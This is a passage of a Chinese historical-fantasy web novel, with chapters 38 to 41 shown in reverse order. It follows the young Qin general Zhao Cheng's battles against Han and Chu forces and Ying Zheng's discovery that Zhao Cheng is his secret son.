敌将隐藏在镇中,他尚且能够冲阵斩将。
这小子竟敢如此嚣张,一个人冲在最前面,难道不知道我项氏之虎的名号?
双方对冲,速度都是快到极致。
赵诚本就全速奔袭,项佗马术也不错,短短时间内,就奔马提速,已如离弦之箭。
双方的距离在几个眨眼之间,极速接近到三十丈。
而后二十丈。
十丈……
项佗已经能够看到赵诚那英武的眉峰眼角,更看到了他如玉且稚嫩的面庞。
心道此人年轻至此,又白白嫩嫩,又能有什么本事?
提把大戟看着倒是霸烈,也不过是花架子罢了。
一念闪过,已是短兵相接。
两骑对撞,项佗爆喝一声有若虎吼,手臂肌肉隆起,大槊砸落如山,带起风声隆隆。
赵诚却不声不响,安静抬手,大戟一挥,切空斩风般,后发先至!
叮!
金属摩擦的声音响起,大戟竟瞬间切入大槊近半。
同时难以想象的巨力传来,大槊弯曲的同时,项佗双臂剧痛,整个人瞬间后仰崩到极致,终于难以自已的横飞出去。
这一击之下,他竟像个破口袋般飘飞起来。
此人,何等神力!?
项佗愕然间,向后砸飞了数名死士,才艰难抱住了马头,翻身上马,虎口已是血流如注
抬头却见赵诚已经横戟扫落七八名死士,一往无前冲入阵中,如入无人之境般,直奔自己而来!
项佗见此浑身一凉,头皮发麻。
夭亡乎!
这等神威,当真闻所未闻!
兵器不如人,武力也不如人。
此时不跑,更待何时!?
他调转马头,拼命向阵中撤去,已然顾不得士气如何……
第41章 威望如山,项氏之虎
楚军虽然次日便到,但是不管是韩军的探子还是楚军的探子,都有可能会提前抵达,刺探情报。
所以这时候,就显示出了蒙武的果断,以及强大的排兵布阵之能。
他在拿下叶县之后,用最短的时间,便彻底处理好城中的种种事宜。
而后又在几个时辰之内,就重新布置好了一切,就算是楚军现在便到,也是丝毫看不出破绽。
此时,昆阳山脉的马道之前。
一万三千骑兵军阵严整,令行禁止,肃穆无声。
身着鎏金鳞甲的少年坐在马上,穿阵而过。
却见他面如冠玉,眸若寒星,嘴角抿出一抹坚硬锋芒,英武至极却又透着血煞之气。
单手持丈二大戟,神威霸烈。
挺坐如长枪冲天,锐气崩云。
一个又一个军官在马上坐得笔挺,目光紧随着他,左手握紧了剑柄,右拳狠狠地捶打着胸甲,双目之中闪烁狂热,声若滚雷:
“轻骑营都尉葛丹,参见将军!”
“轻骑营校尉荆褚,参见将军!”
“轻骑营百将陈凌,参见将军!”
“突骑营校尉苍溪,参见将军!”
“……”
经过之前城头上那一战,赵诚在众将士的心目中简直如同封神了一般。
无尽将士看到他穿阵而过,恨不得翻身下马行礼,崇敬之情溢于言表。
一名又一名的军官,趁着赵诚穿阵而过的时机,领兵上前,对着赵诚参拜。
更有无数普通骑兵向前涌来,那模样与后世粉丝看到自己的偶像一样,狂热中带着激动,要不是军规严厉,他们都想要冲上前来给赵诚磕一个了。
赵诚只是微微点头,将士们却一阵阵激动。
到了最前方,那些早就跟随过赵诚的突骑锐士们更是激动异常。
这位可是突骑营杀出来的少年神将,如今已是前将军之职,岂不与有荣焉?
他们自豪之余,对赵诚的崇敬之情也是更加深重。
“突骑营校尉贺平,参见将军!”
“突骑营校尉封年,参见将军!”
“……”
赵诚微微点头,不经意间扭头看到了身旁亲卫冯全的表情,瞬间让他想起了后世亮剑之中,那个撇嘴笑的表情包。
不是,你小子这么得意的吗?
赵诚哭笑不得,拿大戟拍了拍冯全,把冯全差点拍下马去。
冯全吓了一跳,“咋啦将军?”
这戟真他娘的沉啊,只是轻轻碰了碰他,他差点连人带马翻出去。
“跟紧了。”
“是!”
冯全收了笑容,紧跟在赵诚身边。
此时,赵诚已然穿过了整座军阵,回头看去,不过万余骑兵,却已经好似长江大河,坐在马上,看不到尽头。
他没有说什么,只是穿阵而过,军中士气却已经提升到了极致。
一旁的蒙恬笑道,“怎样,赵将军感觉如何?”
赵诚苦笑,“还不是你的馊主意,不然咱们现在都奔出好几里了。”
蒙恬笑道,“你是不知道你如今在军中的声望,打仗什么最重要,当然是士气最重要!”
“有你这位索命阎罗在前,军中将士必然士气如虹,打起仗来,拼了命地往前杀,生怕跑慢了,少拿了军功!”
“哪有这么夸张?”赵诚摇了摇头,策马向前奔驰,“不过才打了两仗而已。”
“两仗?”蒙恬惊道,“我们是打了两仗,你是打了两仗吗?”
“城中那场可不小,有同袍去城中收尾的时候,看到了那堆成小山的敌军尸体,全都是你杀的!”
“连同破城之战,已经在全军传开了,你那索命阎罗的称号,现在甩都甩不掉。”
赵诚挠了挠头,神特么索命阎罗。
“我那是给其他间子打掩护,免得他们徒增伤亡。”
一旁的冯全两人感动坏了。
他们当时可是提心吊胆,全靠赵诚吸引火力,才能如入无人之境地获取情报。
原来将军深入敌城,行险制造混乱,甚至被两千敌人围杀,是为了我们……
“你管这个叫打掩护?”蒙恬无语了,不过很快,他又被其他事情吸引了注意力。
他打量着赵诚那白皙如玉的面容,不由得皱眉不解,“说起来,你这家伙怎么越来越白嫩了?”
“人家入伍,都是越打越糙,你倒是越来越白嫩,真成了白面小将。”
赵诚如今不用伪装,又洗干净了身体,那经过元气淬炼的皮肤自然也就暴露在外,在这都是军伍糙汉的队伍之中,显得异常的显眼。
赵诚想了想说道,“这两天都泡在血里,或许是鲜血有美白的效果?”
啊?
冯全和封若两人心头一惊,血都把人泡白了?
那得是多少血啊?
而蒙恬摸了摸脸颊,若有所思地将这个关键信息记在了心里。
赵诚又问道,“我听说楚国与韩也没少交战,就算来支援,兵力又会有多少?”
蒙恬在赵诚身侧策马,“楚军的本意恐怕不是支援韩军,而是借机分一杯羹,最不济,也让咱们的军马大大损失,他们好渔翁得利。”
“所以这一次,来敌不会太少。”
“而且宛城方向,也有可能会有援军来袭,所以不能大意。”
“明白。”
……
翌日午时,万里无云。
大军持续行进,已经绕至东面,呈一个大弧线,停滞在楚军可能出现的位置大后方。
如果说蒙武的布置是一个瓶子,叶县城前方的大军就是瓶肚,山林中两万轻步兵便是瓶脖,而赵诚等人,则是那个即将盖上的瓶盖。
只要楚军一入这里,便很难再退出去。
当然,如果这部骑兵是别人的话,或许还有残兵突围成功的可能,但可惜现在守在这里的是赵诚。
随着时间推移,赵诚撒出去的斥候,已经与敌方小股斥候打过了照面。
“楚军将近,给将军传递情报。”
立刻有一飞骑奔出,向着叶县城下大营而去。
而蒙武在得到消息之后,立刻开始大举“攻城”,假韩军和秦军打的看起来十分激烈。
而双方斥候依然还在不断地试探。
赵诚有点坐不住了,“我去抓个活口回来。”
他策马而去,快如闪电,蒙恬都没反应过来,他已经不见了踪影。
“不是,你是将军啊,怎么跑去当斥候了?”
没多久,斥候们突然听到了熟悉的弓响,不由得纷纷一惊。
“将军来了?”
“啊?将军不是在领军吗?”
“这……一箭一个,不是将军是谁?”
好几个斥候迎了上去,却见赵诚手上提着几个斥候活口,奔马而回。
这几个斥候双手双脚都被利箭穿透,动弹不得的同时,连牙齿都被拔掉了好几颗。
赵诚一脸不快,“这几个狗东西骨头太硬了,回去给本将好好审审他们!”
对于赵诚的效率之快,斥候们也是早有见识,此时哭笑不得,“将军,这些斥候都是精挑细选出来的意志坚定之辈,没有点手段,确实是审不出东西的。”
“您回去,让冯全他们去审便是。”
赵诚点头,回到了阵前,让冯全等斥候精锐去审问。
冯全等人拽着几个动弹不得的斥候进了林子,不多时里面就传来闷闷的惨哼声,而后冯全等人甩着手上的鲜血走了出来。
“将军,问出来了点东西。”
“这么快?”赵诚感觉与他们一比,自己在此道差太多了。
但是学却是不必学的,也不想看,他虽好杀人,但杀人不过头点地,不想去折磨别人。
“说说。”
冯全等人相继说出逼问出的情报,彼此对应。
“来军共有九万,宛城韩军来有三万,楚国援军则有六万兵马,领兵者是项家的项佗,此人乃是楚国名将项燕的堂弟,以勇猛著称,曾单骑冲阵斩杀韩军都尉,军中称其“项氏之虎”。”
“除此之外,此人训练材士很有一套,麾下有一千死士战力超群,项佗曾凭此拔取韩城三座。”
“项佗……”蒙恬若有所思,眸中闪过一丝凝重,不过在看了赵诚一眼之后,那凝重又散去了。
赵诚看到蒙恬的反应,问道,“兄长知道此人?他很有名?”
蒙恬说道,“此人也算是楚国有名的将领,打过几场有名的战役,我在学习兵法的时候,研究过他的战役和领兵风格。”
“此人与他堂兄项燕的稳扎稳打不同,此人精通奇袭速战,以凶猛刚烈著称,他本人的武力也远超常人,常身先士卒,以身为锋,撕裂敌阵,与阿诚你的战斗风格有点像。”
“不过,有你在此,他却也逞不上什么威风去……”
第40章 楚援将至,反包围战
大殿之中,嬴政将帛书放在案台之上,思索了一阵。
突然以拇指上的黑玉扳指敲击了案台三次。
微微的响声回荡在大殿之中,清脆悦耳。
不知何时,一个浑身黑衣的男子出现在嬴政身后。
“陛下。”
嬴政手指在军报中“赵诚”的名字上点了点,“顿弱,你率黑冰台秘士,亲自去一趟,查一查这个人。”
“查清楚他的生平详情,带回来给孤。”
顿弱低头,“是。”
他悄无声息退下,脚步竟然丝毫没有声音。
嬴政又看了看军报上面的赐爵情况,眉头微微皱起,显得有点不满意。
沉吟了片刻,嬴政摇了摇头,“此时大军应该正在攻城叶县,叶县攻下,犨城已然拿在了手中,宛城孤立无援,南阳用不了就可以拿下了。”
“且看这一战你能夺得多少军功,不论多少,孤都不会亏待了你……”
……
叶县大营之中。
蒙武头发凌乱,不断挠头,笔上的墨迹都干了,也没有想出来应该怎么说。
“为了下属立功太大而头疼,真是头一次。”
蒙武苦笑不已。
想了想,干脆如实去写。
“大王陛下:
臣蒙武顿首再拜,敢以边事奏闻。
此番攻韩,臣初行断水之策,壅滍水以困孤城。韩人恃昆阳之险、城堞之固,闭户不战。
然赵诚者,率死士二十,易服为猎,潜伏而入。
夜深之时,其于城中猎杀敌军,引韩军数千围杀。
赵诚以战养战,辗转巷战,所过之处,敌首如堕,血溅衢路。
至城中官署,独杀守卒三百,斩县尉于案前,火焚印绶,据门而守。
韩军聚兵两千环攻,矢下如雨,而赵诚孤身镇守,稳如磐石,以箭还击,箭箭封喉,积尸盈阶,斩敌近千,敌不敢前。
及至敌军溃逃,赵诚冲杀而出,孤身追杀上千人入城中,与敌方两千援军遭遇。
其且战且退,四面突围,终被围于巷间围杀。
敌军血勇,前赴后继,竟被其击杀过半,骇退而去。
及天明,赵诚易装猎户,负野登陴,伪为献食者,近韩守将。
于两军阵前,诚出其不意,剑毙守将于城楼之上。
守兵大乱,赵诚持戟,横扫千军,敌落如雨。
乃据瓮城,破悬门,启重关,臣军遂长驱直入,兵不血刃而得叶县。
该员勇冠三军,智兼万夫:
夜破官署,如虎入羊群;昼斩敌将,若鹰搏雀鸟。
单骑转战,斩级千余;断敌喉舌,溃其心腹。
此等武勇,非特秦军之冠,实乃天下罕见。
昔诸将之战,未闻有只身退敌、夺城于俄顷者。
今按军功法:“先登陷阵者,爵三级;斩首过百,拜左庶长。”
然赵诚之功,超轶常格,非旧律所能赅。
臣愚昧,不敢专断,伏望陛下特赐隆恩,以彰奇勋。
臣蒙武再拜,秦王政十六年孟冬”
思来想去,写完这番话,蒙武叹了口气,还是命人附上军报,送往咸阳。
“唤赵诚来见本将。”
此时赵诚正在城中大营内,规训刚得的几个家奴。
封爵之后,他可以获得随军仆从,只是之前方城隘口一战的俘虏没有几个能够看上眼的,就没有挑选。
但这一战中,被他发现了柴烈这个千人敌。
柴烈又帮他抓出了好几个敌军之中堪用的勇夫。
可惜这些勇夫之中,还真有几个忠勇之辈,不愿跟随赵诚,结果被赵诚全都劈了。
剩下三人,有些勇力,一人对阵十几个倒也没什么问题。
“之后你们四人,便是我的随军仆从,柴烈你领着他们四人。”
“是。”
柴烈现在老实了不少,五大三粗如同黑熊一般的大汉,在赵诚面前像个小猫似的。
其他三人见惯了柴烈的桀骜不驯和性情暴烈,见他如此,都是惊得瞪大了眼睛,却被柴烈狠揍了一顿。
赵诚等柴烈揍完几人,才喊道,“柴烈,你随我来。”
两人到了赵诚帐中,赵诚问道,“你是常年练武,才有此体魄?”
柴烈叹道,“回大人,从小练武,冬练三九,夏练三伏,配合药材内服外敷,才练得一身武艺,与大人相比,不值一提。”
赵诚又问道,“你之前说炼气士,你可炼气过?”
柴烈摇头,“没有,炼气之法难得,不是顶尖家传,便是名家门徒,或是仙山隐士才会,一法难求。”
“不过大人如此武力,难道不是炼气士?”
赵诚想了想,“我对此了解不多,全靠自身摸索才摸到了一点炼气的门槛。”
“你和我说说你了解的炼气士吧。”
柴烈惊愕地看着赵诚,靠自己摸索出了炼气?
还能这样?
他也不敢有所隐瞒,回想了一下说道,“炼气士也叫方士,这种人很少见,他们一般不在世俗之中活动显名,世俗中显名的,大多都是骗子。”
“除了一些家传秘法之外,一些名家隐士会传授这等炼气之法,如阴阳家,道家,鬼谷门下,都有顶尖炼气士门徒在世间行走。”
“据说秦国的国尉,尉缭便是鬼谷门生,会顶尖炼气之法,又精通纵横之术,不但精通排兵布阵,还是一名万人敌的猛将。”
“当然,这些我都接触不到,只是听过一些秘闻。”
“我接触到的,多是一些如我这般的家传功夫,能够锤炼体魄,一些顶尖家传,功夫精深的,可以踏入到炼气那个层次,不但饭量会大幅变小,且还能够长时间辟谷,以食气为生。”
赵诚摸着下巴思忖着。
有炼气士就好办了啊。
之前城墙之上一战,他现在系统之中的寿命已经突破了两万五千年,可基础炼体功已经修炼到了圆满,接下来要修炼元气。
可他到现在为止,还是不知道前路方向,只知道先不断凝练体内元气,如此全靠摸索着前进,会多走许多弯路,事倍功半。
如果能够得到一些炼气士的功法,或许可以大大降低这个速度。
可惜,柴烈也只是一知半解,有用的信息太少。
好在赵诚觉得自己现在的实力已经够用,倒也不急着继续精进实力。
正这时,一名军官找到赵诚,“赵都尉,将军叫你去见他。”
赵诚点了点头,向着蒙武的大帐走去。
“赵诚见过将军。”
“坐吧。”
进了大帐,见到帐中除了蒙武之外,还有许多高级将领都在此处,蒙恬也在其间。
众人都一脸好奇的打量着他,更有一些军官目光中带着狂热,看得赵诚都有一些不自在。
“少年神将名不虚传,深入敌后乱战一夜,又先登擒将破城,竟还能生龙活虎至此,当真神勇!”
“连续两战皆是首功,有赵都尉在,我等这一战打的真是轻松。”
“都尉在城上横扫千军的场面,真是惊煞我了。”
“多谢赵都尉,若不是有你在,我部不知道要损失多少人马。”
“赵大人不吃独食,横扫千军之际,还不忘了给城下将士们分上一口汤喝,在下佩服!”
攻城不是容易的事,就算有蒙武诸多布置在前,攻城依然会损失许多兵力。
但有赵诚斩将破城,这城破得十分轻松,让许多将领都是松了一口气。
最重要的是,赵诚在城上乱杀之际,还不忘了给同袍分功。
一片片的敌军被他扫落城下,丧失战斗力的同时,又还没死,当然是被下面的将士们斩杀了。
这一战,他们在城下都得了好处,自然是感激至极。
赵诚一阵无语,那是分功吗?
是那些人太轻了,与大戟戟杆一碰,就飞了出去。
这也是大戟不好的点了,攻击范围确实很大,戟刃劈下也能瞬间劈死一大片。
但是戟杆除了砸死人之外,还会将人拍飞出去。
这一部分人就算是骨断筋折,一时半会也死不掉。
乱战之中,己方士兵也不会留手,自然就抢了赵诚的人头。
不然赵诚这一战夺得寿命还能再多一些。
“好了。”蒙武压了压手,对着赵诚说道,“此战你深入敌后,杀敌近两千,又先登斩将,杀敌破城,当居首功。
再加上叶县的价值比隘口更大,这一次的功劳比上一次还要大得多。
升爵之事,本将已无法评定,待军报传到咸阳宫,由大王依据此功,为你封爵。”
“军职上,可临时封为裨将,任前将军,可领上万兵马独立作战。”
前将军,相当于全军副将,直接听命于将军蒙武。
赵诚肃拜,“末将领命。”
“你之前说,有楚国援军将至?”
赵诚点头道,“那敌方守将之所以志得意满,在城上挥斥方遒,便是因为楚国援军明日便至。”
“他想配合楚国援军夹击秦军,将我们尽灭于城下。”
蒙武笑道,“如此说来,战事要是拖到明天,让他们支援赶到,还真是有些麻烦。”
攻城不下,又被援军夹击,不论是强行破城还是突围撤退,都会损失不小。
幸好有赵诚奇兵斩将,才能够在援军赶到之前,拿下叶城。
不然若是按照原计划进行,明天局势就会被动了。
想到这里,蒙武看着赵诚的目光更是明亮了几分。
“既然楚国敢伸手,咱们就砍了他们的手!”
“曹尤,你率一万兵卒,穿上韩军的铠甲和衣服,佯装韩守军。”
“于伯,你率两万轻兵,伏于东南山地之中。”
“赵诚,你率三千突骑,一万轻骑绕行昆阳山脉,战起之时,你从后方切入,彻底切断楚军退路,冲散敌阵!嗯……让蒙恬做你的副手!”
蒙武自己,则是带着五万大军,再次于城东扎营,佯作两军对峙,还没攻下叶县。
众人动作奇快,不出一个时辰已然布置完毕。
城外秦军铺开有若洪流,为显兵力更多,军阵外密而中空。
城头之上,也是重兵把守,严阵以待,怎么看都是韩军无异。
更有两万大军埋伏于东南山地,待时而动。
赵诚一部,则是自昆阳山脉远远绕行,同时大量斥候撒开,向前探查,等候楚军入围。
第39章 心情复杂的嬴政:此子类孤!
在蒙武苦思冥想如何下笔时。
咸阳城外的驰道上,秦军传卒奔马入城,直奔咸阳宫,胸前竹筒内封着秦军攻破隘口的军报。
隘口虽是险地,但是秦军此去十万,破隘口是十拿九稳的事情。
所以这战报并非急传,途经三川郡郡守审核,而后将军功整理成册,再转送咸阳,其间经过层层核验,至今才到。
穿过司马门,入了咸阳宫,传卒翻身下马,行至谒者署廊下,将战报递上。
“方城隘口克复,蒙武军报!”
谒者令(宫廷秘书长)核验军报,而后捧着军报,向着章台宫后殿快步而去。
章台宫后殿,寂静无声。
十二青铜柱巍然伫立,青铜鼎中,沉香正腾起青烟。
嬴政坐于台前,脊背挺直如剑,他未戴冕旒,只着黑色深衣,衣袂上绣着暗纹玄鸟,衬的面容越发威严。
如今其年龄不过三十出头,蜂准如鹰喙,长目似寒潭,看着极为英武不凡。
正皱眉看着手中的案牍,处理要务。
自诛杀嫪毐,贬去吕不韦之后,他终于将秦国政务彻底掌握在了手中。
郑国修大渠,使关中农务稳定,粮储充足。
又有王翦蒙武等名将可用,于是嬴政从前几年开始,就攻打赵国,想要一雪当初在赵国所受的欺辱。
谁知竟接连战败。
他终于意识到,想要灭赵,现在还不是时机。
于是准备先灭韩,腾出东出之地,再以韩地为跳板,攻占赵国,一雪前耻。
谁知,一直向秦国俯首称臣的韩,竟然突然一反常态开始顽强抵抗,竟敢和秦国对着干。
这让嬴政很是恼怒,才令蒙武强攻南阳。
“报——”
“方城隘口克复,蒙武军报。”
下方谒者令手捧军报来见,声音在殿前回响。
嬴政眉眼一舒,“呈上来。”
赵高快步走下高台,将军报接回,呈给嬴政。
嬴政打开军报,看了几眼,顿时露出笑意来。
“蒙武为将,当真无往不利。”
“敌军精锐一万,重兵把守方城隘口,我军攻破这等险地,战损竟能低到两千以内,简直是不废吹灰之力就破开了南阳大门。”
“真乃名将手笔!”
军报之上,会首先记录战役大致情况,如此次战役的地点,时间,敌军兵力,参战部队,以及斩首数量。
其次,会突出记录斩获首级最多的士兵,及特殊贡献者如先登、破城、擒将等。
“咦?此战首功竟是一名刚入伍的什长?”
“先登斩敌……二百有二十七人?还能生擒敌将?”
嬴政看得有点发愣。
他还以为是自己看错了,反复看了两次,才确认就是这个数目。
“此人如此神勇,这样的人竟只是个什长?”
他立刻去看军报详情中个人战功的部分。
一看之下,顿时一愣。
只见上面写着:
“……阳城县怀阳村里民,突骑营什长赵诚,先登方城南麓,斩敌二百有二十七级,率众杀敌五百四十人,杀一副将,生擒主将……”
“阳城县……”
“赵诚……”
看到这个名字,嬴政眉头一皱,越皱越深,一些死去的回忆开始攻击他了。
嬴政摇了摇头,诚这个字很好,叫此名的大有人在,不必多虑。
只是,为何是在那个地方?
如此想着,他幽深的目光落在蒙武的帛书传信上。
想了想,他挥了挥手,挥退了赵高。
赵高默不作声,行礼离去。
嬴政沉默地低着头,不知在想什么,空荡的大殿之中安静至极,没有一点声音。
好一会儿后,嬴政才默默打开了蒙武的信。
“大王陛下:臣蒙武顿首,敢以边事奏闻。
臣近来得一少年神将,此子名为赵诚,年方十六,神勇无当。
于方城隘口一役,此子大放异彩,竟率二百突骑锐士,强登方城南麓,时敌有戍卒精锐两千,据险而守。
赵诚身先士卒,攀崖而上,短兵相接处,斩首二百有二十七人,竟能夺其隘塞,立旗为识,苦撑至援军合围……
及敌军突围,赵诚复孤身切入军阵,冲坚折锐,生擒敌将。使得我军不废吹灰之力,大破隘口。
此诚战神之资,万夫莫当之猛将……
更有异者:此子形貌英武,其眉宇之间,与陛下有几分肖似。
臣闻相者言,贵胄之相,多有天表。今赵诚生具此貌,又兼万人之勇,殆天以赐秦也……
臣蒙武再拜,秦王政十七年孟冬。”
当看到年方十六时,嬴政眉目一凝。
再看到“此子形貌英武,其眉宇之间,与陛下有几分肖似”时,嬴政已是长目如寒电,突然一拍桌案,猛地站起身来。
嘭的一声沉响,回荡在大殿之中!
“那个大胆民女!!”
他站立在桌案之后,呼吸粗重,片刻之后,又来回踱步。
口中喃喃不停。
“赵诚,赵诚……年方十六。”
“阳城县,怀阳村……那个村子,孤记的。”
那时父亲刚刚病逝,他上位不久,因年幼无法亲政。
秦国内有相邦专权、后宫干政,外有六国环伺、合纵威胁,可谓是内忧外患。
那时的他已经学会了隐忍蛰伏,面对吕不韦专权和赵太后宠信嫪毐,他假装视而不见,从不反对他们的决策,于暗中布局,默默等候双方矛盾激化。
同时,他也在系统地学习秦法、军事和经济。
亲自勘察府库,水利,前往各地体察民情,验证所学。
但问题就出在这里,那一年他巡视到刚刚设立没几年的三川郡,想了解秦夺取敌城之后,如何转化民生。
却被六国派来的刺客刺杀,重伤之下,与卫队失散,流落阳城县郊外,被一民女所救,暗中收留在家里。
养伤期间,民女对其暗生情愫,嬴政身为国君,不能暴露身份,只是给了那民女一枚贴身玉环,以作感谢。
谁知那个大胆民女,竟然误以为自己也对其有意思,趁着他重伤行动不便之际,把生米做成了熟饭!
想到此处,嬴政深深闭目,有点不想回忆下去了。
那女子谈不上娇美,但样貌亲和,心地善良,体贴温柔,就是胆子太大了些。
他那时尚且十四五岁,处境也极差,在对方的照顾下,很是感念,不能说没有一点感情,但宗室与民女有别,他不能承认其身份。
甚至一旦被发现,会被那些内患以此攻讦,导致地位不稳。
好在那民女也并没有以此谋图什么,守口如瓶,直到王翦等人找到嬴政时,也并未多言。
嬴政也无法给她什么承诺或者报酬,只给她留下了一个诚字,便离去了。
此事一直埋藏至今,嬴政已经多年未曾想起,只是偶尔做梦时,梦到那女子面容。
但今日蒙武的军报,好似一把利剑,将尘封的记忆斩开,诸多回忆潮水一般涌来,让嬴政感慨不已。
“赵诚,赵诚……”
他再次拿起帛书看了起来。
此时再看,心情已然极为复杂。
说起来,这是他的长子,但是秦律之中,嫡庶之别十分严格,宗室和贵族仍对继承问题有着强大话语权。
其中涉及诸多,复杂万分。
所以就算是现在,他也不能认下赵诚,让他回归宗族,因为这很可能就害了他。
但好在,这孩子神勇过人,有万夫莫敌之勇,已在军中崭露头角。
又看了一遍帛书,嬴政嘴角噙起几分笑意。
于是又看了一遍帛书,他的眉峰微微挑起,眸中闪过自豪之色。
“年方十六,箭术骑术已出神入化,先登破城斩敌二百余,还能破敌生擒主将……”
他突兀地大笑起来,笑意豪放,震荡寰宇。
“哈哈哈哈……”
“蒙武说得不错,此子类孤!”
第38章 叶县第一反骨仔,千人敌家奴柴烈
巨箭以风雷之势,轰入弩机之中,箭体与弩机撞击,两者同时爆碎,连同一旁的力卒都被迸射的碎片穿透,当场暴毙城头!
赵诚挥戟杀入,大戟一挥,横扫千军,将无数瓮城之上的敌军扫飞出去。
瓮城之下,便是陷阱,地上有挖出来的深坑,深坑之中,更有无数竹刺向上挺立。
赵诚大戟若银河落野,以敌军血肉填坑,一番冲杀之后,那深坑竟然被填满了大半。
瓮城之上,人人胆寒。
这深坑都是他们亲自挖出来了,没想到竟然成了他们自己的埋骨之地!
赵诚见陷阱已经没了威胁,有不断扫飞城头敌军,以他们作为炮弹,砸在城门之前聚集的守军之中,一时间砸得人仰马翻,城头上为之一空,城门之后,更是大乱。
“杀没了?”
那就去下面杀。
赵诚飞身落下,直接杀入城门后方,一戟下去,劈死七八个人。
这一下,城门后面的敌军也是惊惧。
却在此时,一个身形极为魁梧,正以身抵御城门撞击的黑脸大汉回身看来,顿时睚眦欲裂。
“他娘的!都是废物不成,怎么让人杀到这来了!?”
他瓮声瓮气,虎背熊腰,比周围的士卒都要高上一大头,刚刚竟以身抵住城门许久,此时方才惊觉不对。
却见他大手一拔,将身边的士卒全都扒拉到了一边,从旁边提起一把大槊就朝赵诚冲了过去。
“让老子来会会你!”
这人本就高大魁梧的像个大黑熊,此时冲撞起来,更是如同一头攻城车一般,就连沿途的韩军都被他撞飞出去不少。
竟也是一员猛将。
周围本来准备溃逃的兵卒又站住了脚步,眼中涌起希望光芒来。
“太好了,柴烈大人是将军从新郑带来的猛将,有他出手,定能抵住那凶人!”
“要不是柴校尉身负镇守城门的重任,哪里轮得到这贼人嚣张?”
“柴校尉力能扛鼎,一人的力量抵得上十个人,能孤身打死黑熊!”
众多兵卒期待的目光之中,柴烈已经冲到了赵诚身前,其冲势有如巨石落山,大槊砸下,也是打出虎虎风声!
却见那少年挺立间,单手横戟一挡。
轰!
柴烈的大槊落在赵诚横挡的大戟上,发出一声巨响。
大槊瞬间弯曲回弹,巨大的力量让其震颤不已,就连柴烈自己的手臂都被震得发麻,但那横挡的大戟却纹丝不动,少年单手持戟的手臂连一丝一毫的震颤都没有。
挺立如常,巍然如山。
柴烈感受着那坚如磐石的力量,不由得脸色大变。
怪哉!
一直以来他的力量都是冠绝军中,血勇冲杀,无人可当。
要不是脾气不好,脑袋略差,早就当上将军了。
结果他的全力一击,竟然被一个少年给挡了下来,还是单手挡住,丝毫没有吃力!
这小子力量得有多大!?
他惊疑不定间,赵诚动了。
他依然是单手持戟,轻轻一挑。
柴烈顿时感觉到一股山崩般的力量传来,手中大槊瞬间被挑飞了起来,中门大开时,对方的大戟长驱直入,瞬间抵住了他的喉咙。
他咽了咽口水,耸动的喉头传来刺痛。
手臂因为巨大的力量对抗,已经开始疼痛颤抖。
他失魂落魄地看着眼前神色淡淡的少年,感到一阵阵挫败。
冬练三九,夏练三伏,锤炼体魄近三十载,竟被一个少年轻松击败。
他有些不能接受。
周围的士卒更是不能接受。
“这……这就败了?”
“这少年何等神力,连柴校尉都不是他的一合之敌?”
“我看他轻轻一挑,就把柴校尉的大槊挑飞了,力量差距这么大,怪不得能这样在我军冲杀……”
“完了,投降吧,柴校尉都不是他的对手,杀咱们就和杀鸡一样。”
叮叮当当。
不少兵卒直接丢了兵器,跪在地上表示投降。
就在此时,轰隆一声!
城门陡然被撞开,大军蜂拥而入。
蒙恬一马当先,向前冲杀,口中还在大喊着,“杀!!接应突骑都尉!!”
“阿诚你在哪……呃!?”
一拥而入,疯狂冲杀的秦军突然停了下来。
场面一阵安静,蒙恬有点尴尬。
眼前敌军跪了一地,赵诚站在中央单手持戟,压得那大黑熊似的敌将动都不敢动。
场面很和谐,赵诚威压全场,一个人打服了所有人,根本不需要接应。
“来了?”
赵诚看向蒙恬,“瓮城已破,杀进去吧,城上还在血战!”
赵诚只在东城大门处冲杀,其他地方秦军还在激烈攻城,许多韩军也还在拼死抵抗。
只不过将军和副将死了之后群龙无首,抵抗力量愈发衰弱。
蒙恬闻言,立刻带兵杀入城中,与城外攻城大军里应外合。
瓮城已破,陷阱都被赵诚填了,他们不费吹灰之力就上了城楼,敌军节节败退。
而城门处,赵诚看着柴烈,似乎想到了什么,并没有急着杀他。
“力量不错,服吗?”
柴烈目光一凝,咬牙发狠道,“不服!”
赵诚有了点兴趣,收回大戟,“不服就再来,我可以给你三次机会。”
“三次之后,臣服,或者死。”
“让我臣服,不可能!”
柴烈闻言发了狠,摆开架势,双腿立地如巨树盘根,蹬腿拧腰,旋肩甩肘,大槊如龙甩来,还在空中,依然被巨大的力量甩得弯曲。
赵诚依然是单手横戟。
当!
咔!
大戟依然纹丝不动,大槊却陡然弯曲到极致,而后突然断裂,上半段直接崩飞了出去。
柴烈看着赵诚那丝毫无损的大戟,不由得十分羡慕,还是说道,“我不服,你的兵器更好!”
“嘴硬。”赵诚笑了笑,将大戟往地上一戳,直接顿入地中三尺,而后对着柴烈招了招手,“我不用兵器,你可以再去捡个兵器来。”
“你不用兵器,我也不用!”柴烈憋着一股气,如黑熊向赵诚撞来,一拳砸向赵诚头颅。
那拳头当真如同砂锅般大小。
赵诚抬起右手轻轻一按!
嘭!
柴烈的重拳如同泥牛入海,被赵诚稳稳按住。
而赵诚面对如此全力一击,身形却连一丝摇晃都没有,柴烈瞪大了双眼,心中阵阵不可思议。
“你是炼气士?”
赵诚挑眉,捕捉到了关键信息。
但却没有回答,而是一按拳头,身形庞大的柴烈顿时吃痛,推金山倒玉柱一般跪下。
“服了吗?”
“不服。”
“你还有一次机会。”
赵诚松开手,柴烈瞬间反击!
嘭!
柴烈被拍翻在地,痛得呲牙咧嘴。
“服了吗?”
“不……”
赵诚大戟一挥,直奔柴烈,就要将其劈成两半!
柴烈顿时改口,“不打了,服了!”
大戟稳稳停在柴烈额头之前,柴烈双目骇然,在死亡降临的时候,他突然觉得臣服于赵诚也不是那么难以接受。
至少,这人确实远胜自己,跟着他或许还能学会炼气的法门。
赵诚收起大戟,命令道,“站起来,随我杀敌,杀够百人,你就是我的家奴,不然,还是死。”
“你怎么可以……”
柴烈刚要说什么,见到赵诚的目光,顿时又改了口,“这么英明!”
“咱们现在就去杀敌,我已经迫不及待。”
赵诚哭笑不得,我还是喜欢你之前桀骜不驯的样子。
柴烈却像是激活了某种开关,在旁边捡了个长戈,上去就砍死了一个韩兵,似乎觉得没意思,又咚咚向外跑去,追上了一个韩兵百将,一下劈翻!
“哈!这些狗娘样的,柴某早就看你们不顺眼了!”
“天天屁事不干,作威作福!”
他越杀越起劲,随着赵诚冲上了城头,仗着熟门熟路,找出了好几个隐藏在普通兵卒之中的校尉,上去就给砍了。
“柴烈!你竟然投敌!”
